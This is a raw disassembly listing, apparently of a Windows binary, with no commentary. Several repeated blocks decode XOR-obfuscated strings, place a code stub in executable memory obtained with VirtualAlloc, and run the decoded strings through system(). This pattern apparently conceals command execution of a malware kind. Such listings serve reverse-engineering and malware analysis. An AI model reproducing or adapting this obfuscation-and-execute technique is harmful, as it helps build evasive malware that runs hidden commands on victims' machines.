mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x690]
call fcn.14003c7b0
movups xmm0, xmmword [0x1400caa18]
mov esi, dword [reloc.WS2_32.dll_accept]
xor r12d, r12d
mov r10, rax
movups xmm1, xmmword [0x1400caa28]
movups xmmword [rbp + 0xfb8], xmm0
movups xmm0, xmmword [0x1400caa38]
movups xmmword [rbp + 0xfc8], xmm1
movups xmmword [rbp + 0xfd8], xmm0
cmp esi, 2
jl 0x14003fcf9
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0xfb8]
movdqa xmm5, xmmword [0x1400cada0]
mov edx, r12d
movdqa xmm4, xmmword [0x1400cae80]
movdqa xmm6, xmmword [0x1400cadd0]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x30
jl 0x14003fbf0
jmp 0x14003fd44
lea r9, [rbp + 0xfb8]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x14003fd10
mov r8, r10
lea rdx, [rbp + 0xfb8]
lea rcx, [rbp + 0xa58]
call fcn.140048200
cmp qword [rax + 0x18], 0xf
jbe 0x14003fd64
mov rax, qword [rax]
mov qword [rbp + 0x6d0], rax
lea r14, [rbp + 0x1448]
mov rax, qword [0x14017a790]
lea r13, [0x140000000]
mov rdi, qword [r14]
mov ecx, r12d
mov qword [r14], r12
test rax, rax
je 0x14003fdbe
lea rdx, [0x140048330]
cmp rax, rdx
je 0x14003fdab
inc ecx
mov rax, qword [r13 + rcx*8 + 0x17a790]
test rax, rax
jne 0x14003fd95
jmp 0x14003fdbe
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x17a460]
test r8, r8
jne 0x14003feab
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003fde5
mov r8, r12
jmp 0x14003fe83
lea rax, [0x140048330]
mov rcx, r8
mov edx, 3
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14003fdf4
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017a458]
lea rcx, [0x140048330]
mov qword [r13 + rax*8 + 0x17a790], rcx
mov qword [r13 + rax*8 + 0x17a460], r8
inc rax
mov qword [0x14017a458], rax
lea rdx, [rbp + 0x6d0]
mov rcx, rbx
call r8
mov qword [r14], rdi
mov rdx, qword [rbp + 0xa70]
cmp rdx, 0xf
jbe 0x14003fefc
mov rcx, qword [rbp + 0xa58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003fef7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
mov rdx, qword [rbp + 0x6a8]
mov qword [rbp + 0xa68], r12
mov qword [rbp + 0xa70], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa58], 0
cmp rdx, 0xf
jbe 0x14003ffa1
mov rcx, qword [rbp + 0x690]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ff51
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
lea rcx, [rbp + 0x480]
mov qword [rbp + 0x6a0], r12
mov qword [rbp + 0x6a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x690], 0
call fcn.14003c7b0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, rax
mov eax, dword [0x1400ca7b8]
mov dword [rbp + 0x3c8], eax
movzx eax, word [0x1400ca7bc]
mov word [rbp + 0x3cc], ax
jmp 0x14003ffea
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x480]
mov qword [rbp + 0x6a0], r12
mov qword [rbp + 0x6a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x690], 0
call fcn.14003c7b0
mov ecx, dword [0x1400ca7b8]
mov r10, rax
mov dword [rbp + 0x3c8], ecx
movzx ecx, word [0x1400ca7bc]
mov word [rbp + 0x3cc], cx
movzx eax, byte [0x1400ca7be]
mov r8d, r12d
mov byte [rbp + 0x3ce], al
movups xmm0, xmmword [0x1400ca790]
movups xmm1, xmmword [0x1400ca7a0]
movups xmmword [rbp + 0x3a0], xmm0
movsd xmm0, qword [0x1400ca7b0]
movsd qword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x3b0], xmm1
cmp esi, 2
jl 0x14004016f
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x3a0]
movdqa xmm5, xmmword [0x1400cada0]
movdqa xmm4, xmmword [0x1400cae80]
movdqa xmm6, xmmword [0x1400cadd0]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140040060
cmp r8d, 0x2f
jge 0x1400401b4
movsxd rax, r8d
lea r9, [rbp + 0x3a0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x140040180
mov r8, r10
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0xa78]
call fcn.140048200
cmp qword [rax + 0x18], 0xf
jbe 0x1400401d4
mov rax, qword [rax]
mov qword [rbp + 0x6d8], rax
lea r14, [rbp + 0x1448]
mov rax, qword [0x14017a790]
mov ecx, r12d
mov rdi, qword [r14]
mov qword [r14], r12
test rax, rax
je 0x140040229
lea rdx, [0x140048330]
nop
cmp rax, rdx
je 0x140040216
inc ecx
mov rax, qword [r13 + rcx*8 + 0x17a790]
test rax, rax
jne 0x140040200
jmp 0x140040229
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x17a460]
test r8, r8
jne 0x140040317
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140040250
mov r8, r12
jmp 0x1400402ef
lea rax, [0x140048330]
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140040260
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017a458]
lea rcx, [0x140048330]
mov qword [r13 + rax*8 + 0x17a790], rcx
mov qword [r13 + rax*8 + 0x17a460], r8
inc rax
mov qword [0x14017a458], rax
lea rdx, [rbp + 0x6d8]
mov rcx, rbx
call r8
mov qword [r14], rdi
mov rdx, qword [rbp + 0xa90]
cmp rdx, 0xf
jbe 0x140040368
mov rcx, qword [rbp + 0xa78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040363
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
mov rdx, qword [rbp + 0x498]
mov qword [rbp + 0xa88], r12
mov qword [rbp + 0xa90], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa78], 0
cmp rdx, 0xf
jbe 0x14004040d
mov rcx, qword [rbp + 0x480]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400403bd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
lea rcx, [rbp + 0x460]
mov qword [rbp + 0x490], r12
mov qword [rbp + 0x498], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x480], 0
call fcn.14003c7b0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, rax
mov eax, dword [0x1400ca7b8]
mov dword [rbp + 0x3f8], eax
movzx eax, word [0x1400ca7bc]
mov word [rbp + 0x3fc], ax
jmp 0x140040456
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x460]
mov qword [rbp + 0x490], r12
mov qword [rbp + 0x498], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x480], 0
call fcn.14003c7b0
mov ecx, dword [0x1400ca7b8]
mov r10, rax
mov dword [rbp + 0x3f8], ecx
movzx ecx, word [0x1400ca7bc]
mov word [rbp + 0x3fc], cx
movzx eax, byte [0x1400ca7be]
mov r8d, r12d
mov byte [rbp + 0x3fe], al
movups xmm0, xmmword [0x1400ca790]
movups xmm1, xmmword [0x1400ca7a0]
movups xmmword [rbp + 0x3d0], xmm0
movsd xmm0, qword [0x1400ca7b0]
movsd qword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x3e0], xmm1
cmp esi, 2
jl 0x1400405df
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x3d0]
movdqa xmm5, xmmword [0x1400cada0]
movdqa xmm4, xmmword [0x1400cae80]
movdqa xmm6, xmmword [0x1400cadd0]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x1400404d0
cmp r8d, 0x2f
jge 0x140040624
movsxd rax, r8d
lea r9, [rbp + 0x3d0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x1400405f0
mov r8, r10
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0xa98]
call fcn.140048200
cmp qword [rax + 0x18], 0xf
jbe 0x140040644
mov rax, qword [rax]
mov qword [rbp + 0x6e0], rax
lea r14, [rbp + 0x1448]
mov rax, qword [0x14017a790]
mov ecx, r12d
mov rdi, qword [r14]
mov qword [r14], r12
test rax, rax
je 0x140040699
lea rdx, [0x140048330]
nop
cmp rax, rdx
je 0x140040686
inc ecx
mov rax, qword [r13 + rcx*8 + 0x17a790]
test rax, rax
jne 0x140040670
jmp 0x140040699
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x17a460]
test r8, r8
jne 0x140040787
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400406c0
mov r8, r12
jmp 0x14004075f
lea rax, [0x140048330]
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400406d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017a458]
lea rcx, [0x140048330]
mov qword [r13 + rax*8 + 0x17a790], rcx
mov qword [r13 + rax*8 + 0x17a460], r8
inc rax
mov qword [0x14017a458], rax
lea rdx, [rbp + 0x6e0]
mov rcx, rbx
call r8
mov qword [r14], rdi
mov rdx, qword [rbp + 0xab0]
cmp rdx, 0xf
jbe 0x1400407d8
mov rcx, qword [rbp + 0xa98]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400407d3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
mov rdx, qword [rbp + 0x478]
mov qword [rbp + 0xaa8], r12
mov qword [rbp + 0xab0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa98], 0
cmp rdx, 0xf
jbe 0x14004087d
mov rcx, qword [rbp + 0x460]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004082d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
lea rcx, [rbp + 0x440]
mov qword [rbp + 0x470], r12
mov qword [rbp + 0x478], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x460], 0
call fcn.14003c7b0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, rax
mov eax, dword [0x1400ca6b8]
mov dword [rbp + 0x308], eax
movzx eax, word [0x1400ca6bc]
mov word [rbp + 0x30c], ax
jmp 0x1400408c6
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x440]
mov qword [rbp + 0x470], r12
mov qword [rbp + 0x478], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x460], 0
call fcn.14003c7b0
mov ecx, dword [0x1400ca6b8]
mov r10, rax
mov dword [rbp + 0x308], ecx
movzx ecx, word [0x1400ca6bc]
mov word [rbp + 0x30c], cx
movzx eax, byte [0x1400ca6be]
mov r8d, r12d
mov byte [rbp + 0x30e], al
movups xmm0, xmmword [0x1400ca690]
movups xmm1, xmmword [0x1400ca6a0]
movups xmmword [rbp + 0x2e0], xmm0
movsd xmm0, qword [0x1400ca6b0]
movsd qword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x2f0], xmm1
cmp esi, 2
jl 0x140040a4f
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x2e0]
movdqa xmm5, xmmword [0x1400cada0]
movdqa xmm4, xmmword [0x1400cae80]
movdqa xmm6, xmmword [0x1400cadd0]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140040940
cmp r8d, 0x2f
jge 0x140040a94
movsxd rax, r8d
lea r9, [rbp + 0x2e0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x140040a60
mov r8, r10
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0xab8]
call fcn.140048200
cmp qword [rax + 0x18], 0xf
jbe 0x140040ab4
mov rax, qword [rax]
mov qword [rbp + 0x6e8], rax
lea r14, [rbp + 0x1448]
mov rax, qword [0x14017a790]
mov ecx, r12d
mov rdi, qword [r14]
mov qword [r14], r12
test rax, rax
je 0x140040b09
lea rdx, [0x140048330]
nop
cmp rax, rdx
je 0x140040af6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x17a790]
test rax, rax
jne 0x140040ae0
jmp 0x140040b09
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x17a460]
test r8, r8
jne 0x140040bf7
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140040b30
mov r8, r12
jmp 0x140040bcf
lea rax, [0x140048330]
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140040b40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017a458]
lea rcx, [0x140048330]
mov qword [r13 + rax*8 + 0x17a790], rcx
mov qword [r13 + rax*8 + 0x17a460], r8
inc rax
mov qword [0x14017a458], rax
lea rdx, [rbp + 0x6e8]
mov rcx, rbx
call r8
mov qword [r14], rdi
mov rdx, qword [rbp + 0xad0]
cmp rdx, 0xf
jbe 0x140040c48
mov rcx, qword [rbp + 0xab8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040c43
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
mov rdx, qword [rbp + 0x458]
mov qword [rbp + 0xac8], r12
mov qword [rbp + 0xad0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xab8], 0
cmp rdx, 0xf
jbe 0x140040ced
mov rcx, qword [rbp + 0x440]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040c9d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
lea rcx, [rbp + 0x4a0]
mov qword [rbp + 0x450], r12
mov qword [rbp + 0x458], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x440], 0
call fcn.14003c7b0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, rax
mov eax, dword [0x1400ca688]
mov dword [rbp + 0x188], eax
movzx eax, word [0x1400ca68c]
mov word [rbp + 0x18c], ax
jmp 0x140040d36
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x4a0]
mov qword [rbp + 0x450], r12
mov qword [rbp + 0x458], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x440], 0
call fcn.14003c7b0
mov ecx, dword [0x1400ca688]
mov r10, rax
mov dword [rbp + 0x188], ecx
movzx ecx, word [0x1400ca68c]
mov word [rbp + 0x18c], cx
movzx eax, byte [0x1400ca68e]
mov r8d, r12d
mov byte [rbp + 0x18e], al
